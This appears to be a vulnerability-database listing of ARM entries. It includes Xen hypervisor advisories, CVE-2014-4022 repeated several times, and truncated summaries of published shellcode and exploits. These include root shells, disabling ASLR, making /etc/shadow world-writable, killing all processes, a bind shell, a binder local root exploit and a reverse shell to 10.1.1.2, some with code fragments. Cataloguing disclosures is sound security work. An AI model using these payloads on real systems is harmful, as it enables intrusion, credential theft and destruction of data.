Flaw in handling unknown system register access from 64-bit userspace on ARM

ISSUE DESCRIPTION When handling an unknown system register access from 64-bit userspace Xen would incorrectly return to the second instruction of the trap handler for faults in kernel space rather than the first instruction of the trap handler for faults in 64-bit userspace. Any user in a guest...

Flaws in handling traps from 32-bit userspace on 64-bit ARM

ISSUE DESCRIPTION When handling a trap from guest mode on ARM, Xen asserts that the current guest mode must match the domain address width. This assertion is false when a guest takes a trap from a 32-bit userspace running on a 64-bit kernel in a 64-bit domain. IMPACT Any user in a guest which is...

CVE-2014-4022

The allocdomainstruct function in arch/arm/domain.c in Xen 4.4.x, when running on an ARM platform, does not properly initialize the structure containing the grant table pages for a domain, which allows local guest administrators to obtain sensitive information via the GNTTABOPsetuptable...

UBUNTU-CVE-2014-4022

The allocdomainstruct function in arch/arm/domain.c in Xen 4.4.x, when running on an ARM platform, does not properly initialize the structure containing the grant table pages for a domain, which allows local guest administrators to obtain sensitive information via the GNTTABOPsetuptable...

CVE-2014-4022

The allocdomainstruct function in arch/arm/domain.c in Xen 4.4.x, when running on an ARM platform, does not properly initialize the structure containing the grant table pages for a domain, which allows local guest administrators to obtain sensitive information via the GNTTABOPsetuptable...

Information disclosure

The allocdomainstruct function in arch/arm/domain.c in Xen 4.4.x, when running on an ARM platform, does not properly initialize the structure containing the grant table pages for a domain, which allows local guest administrators to obtain sensitive information via the GNTTABOPsetuptable...

CVE-2014-4022

The CVE-2014-4022 entry concerns Xen 4.4.x on ARM where alloc_domain_struct in arch/arm/domain.c fails to properly initialize the grant-table pages structure for a domain. This causes an information leak via the GNTTABOP_setup_table subhypercall, allowing a malicious guest administrator to read u...

CVE-2014-4022

The allocdomainstruct function in arch/arm/domain.c in Xen 4.4.x, when running on an ARM platform, does not properly initialize the structure containing the grant table pages for a domain, which allows local guest administrators to obtain sensitive information via the GNTTABOPsetuptable...

CVE-2014-4022

The allocdomainstruct function in arch/arm/domain.c in Xen 4.4.x, when running on an ARM platform, does not properly initialize the structure containing the grant table pages for a domain, which allows local guest administrators to obtain sensitive information via the GNTTABOPsetuptable...

ARM Polymorphic execve("/bin/sh", ["/bin/sh"], NULL) Shellcode Generator

No description provided by source. / Title: Generator polymorphic shellcode on ARM architecture Date: 2010-07-07 Tested on: ARM926EJ-S rev 5 v5l Author: Jonathan Salwan Web: http://shell-storm.org | http://twitter.com/jonathansalwan ! Database of shellcodes http://www.shell-storm.org/shellcode/...

Linux/ARM - Disable ASLR Security - 102 bytes

No description provided by source. / Title: Linux/ARM - Disable ASLR Security - 102 bytes Date: 2010-06-20 Tested: Linux ARM9 2.6.28-6-versatile Author: Jonathan Salwan Web: http://shell-storm.org | http://twitter.com/jonathansalwan ! Database of shellcodes http://www.shell-storm.org/shellcode/...

Linux/ARM chmod("/etc/shadow", 0777) Shellcode 35 Bytes

No description provided by source. / | Title: Linux/ARM chmod/etc/shadow, 0777 Shellcode 35 Bytes | Type: Shellcode | Author: Florian Gaultier [email protected] | Platform: Linux ARM ARM926EJ-S rev 5 v51 | + http://www.shell-storm.org / include stdio.h char shellcode =...

ARM ifconfig eth0 and Assign Address

No description provided by source. / Title: arm-ifconfig Brief: Bring up eth0 and assign it the address 192.168.0.2 Author: Daniel Godas-Lopez gmail account dgodas / / socdes = socketAFINET, SOCKDGRAM, IPPROTOIP; / mov %r0, $2 / AFINET / mov %r1, $2 / SOCKDGRAM / mov %r2, $0 / IPPRTOTOIP / push...

Linux/ARM - Polymorphic execve("/bin/sh", ["/bin/sh"], NULL); - XOR 88 encoded - 78 bytes

No description provided by source. / Title: Linux/ARM - Polymorphic execve/bin/sh, /bin/sh, NULL; - XOR 88 encoded - 78 bytes Date: 2010-06-28 Tested on: ARM926EJ-S rev 5 v5l Author: Jonathan Salwan Web: http://shell-storm.org | http://twitter.com/jonathansalwan ! Database of shellcodes...

Windows RT ARM Bind Shell (Port 4444)

No description provided by source. ; Title: Windows RT ARM Bind Shell Port 4444 ; Date: July 28, 2013 ; Author: Matthew Graeber @mattifestation ; Blog post: http://www.exploit-monday.com/2013/07/WinRT-ARM-Shellcode.html ; Tested on: Microsoft Surface RT Tablet w/ Windows RT 6.2.9200 ; License: BS...

Linux ARM - Local Root Exploit

No description provided by source. / Just a lame binder local root exploit stub. Somewhat messy but whatever. The bug was reported in CVE-2013-6282. Tested on Android 4.2.2 and 4.4. Kernels 3.0.57, 3.4.5 and few more. All up to 3.4.5 unpatched should be vulnerable. You need to customize the...

Linux/ARM - setuid(0) & execve("/bin/sh","/bin/sh",0) - 38 bytes

No description provided by source. / Title: Linux/ARM - setuid0 & execve/bin/sh,/bin/sh,0 - 38 bytes Date: 2010-06-29 Tested: ARM926EJ-S rev 5 v5l Author: Jonathan Salwan Web: http://shell-storm.org | http://twitter.com/jonathansalwan ! Dtabase of shellcodes http://www.shell-storm.org/shellcode/...

Linux/ARM - setuid(0) & kill(-1, SIGKILL) - 28 bytes

No description provided by source. / Title: Linux/ARM - setuid0 & kill-1, SIGKILL - 28 bytes Kill all processes Date: 2010-06-29 Tested: ARM926EJ-S rev 5 v5l Author: Jonathan Salwan Web: http://shell-storm.org | http://twitter.com/jonathansalwan ! Dtabase of shellcodes...

Create a New User with UID 0 - ARM (Meta)

No description provided by source. Exploit Title: Linux/ARM - Create a new user with UID 0 MSF Date: 2010-11-25 Author: Jonathan Salwan - twitter @jonathansalwan Tested on: ARM926EJ-S rev 5 v5l Issue link: https://metasploit.com/redmine/issues/3254 This file is part of the Metasploit Framework an...

[Raspberry Pi] Linux/ARM - reverse_shell(tcp,10.1.1.2,0x1337)

No description provided by source. / Title: Linux/ARM - reverseshelltcp,10.1.1.2,0x1337 execve/bin/sh, 0, 0 vars - 72 bytes Date: 2012-09-08 Tested on: ARM1176JZF-S v6l - Raspberry Pi Author: midnitesnake 00008054 start: 8054: e28f1001 add r1, pc, 1 8058: e12fff11 bx r1 805c: 2002 movs r0, 2 805e...